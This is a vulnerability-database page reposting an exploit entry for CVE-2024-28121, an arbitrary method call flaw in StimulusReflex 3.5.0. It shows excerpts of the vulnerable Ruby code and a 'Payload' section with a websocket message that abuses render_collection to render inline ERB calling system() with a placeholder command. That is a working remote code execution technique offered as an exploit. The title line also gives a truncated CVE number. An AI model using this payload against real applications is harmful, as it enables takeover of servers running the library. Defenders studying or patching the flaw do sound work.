Lucene search
K

StimulusReflex 3.5.0 Arbitrary Code Execution Exploit

🗓️ 14 Mar 2024 00:00:00Reported by ixtsType 
zdt
 zdt
🔗 0day.today👁 285 Views

Arbitrary code execution in StimulusReflex version 3.5.0 CVE-2024-2812

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-28121
12 Mar 202421:22
circl
CNNVD
StimulusReflex Security Vulnerability
12 Mar 202400:00
cnnvd
CVE
CVE-2024-28121
12 Mar 202419:44
cve
Cvelist
CVE-2024-28121 Reflex arbitrary method call in stimulus_reflex
12 Mar 202419:44
cvelist
EUVD
EUVD-2024-0913
3 Oct 202520:07
euvd
Github Security Blog
StimulusReflex arbitrary method call
12 Mar 202415:44
github
NVD
CVE-2024-28121
12 Mar 202420:15
nvd
OSV
CVE-2024-28121 Reflex arbitrary method call in stimulus_reflex
12 Mar 202419:44
osv
OSV
GHSA-F78J-4W3G-4Q65 StimulusReflex arbitrary method call
12 Mar 202415:44
osv
Packet Storm
StimulusReflex 3.5.0 Arbitrary Code Execution
14 Mar 202400:00
packetstorm
Rows per page
StimulusReflex CVE-2024-28121

Arbitrary code execution in StimulusReflex. This affects version 3.5.0 up to and including 3.5.0.rc2 and v3.5.0.pre10.

## Vulnerable code excerpt

stimulus_reflex/lib/stimulus_reflex/reflex.rb
```
  # Invoke the reflex action specified by `name` and run all callbacks
  def process(name, *args)
    run_callbacks(:process) { public_send(name, *args) }
  end
```

stimulus_reflex/app/channels/stimulus_reflex/channel.rb
```
  def delegate_call_to_reflex(reflex)
    method_name = reflex.method_name
    arguments = reflex.data.arguments
    method = reflex.method(method_name)

    policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)

    if policy.no_arguments?
      reflex.process(method_name)
    elsif policy.arguments?
      reflex.process(method_name, *arguments)
    else
      raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")
    end
  end
```

stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb
```
module StimulusReflex
  class ReflexMethodInvocationPolicy
    attr_reader :arguments, :required_params, :optional_params

    def initialize(method, arguments)
      @arguments = arguments
      @required_params = method.parameters.select { |(kind, _)| kind == :req }
      @optional_params = method.parameters.select { |(kind, _)| kind == :opt }
    end

    def no_arguments?
      arguments.size == 0 && required_params.size == 0
    end

    def arguments?
      arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
    end

    def unknown?
      return false if no_arguments?
      return false if arguments?

      true
    end
  end
end
```

## Payload

Find a websocket message with target and args.
```
\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('[command here]') %>\"}]
```

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Mar 2024 00:00Current
9High risk
Vulners AI Score9
CVSS 3.18.8
EPSS0.01455
SSVC
285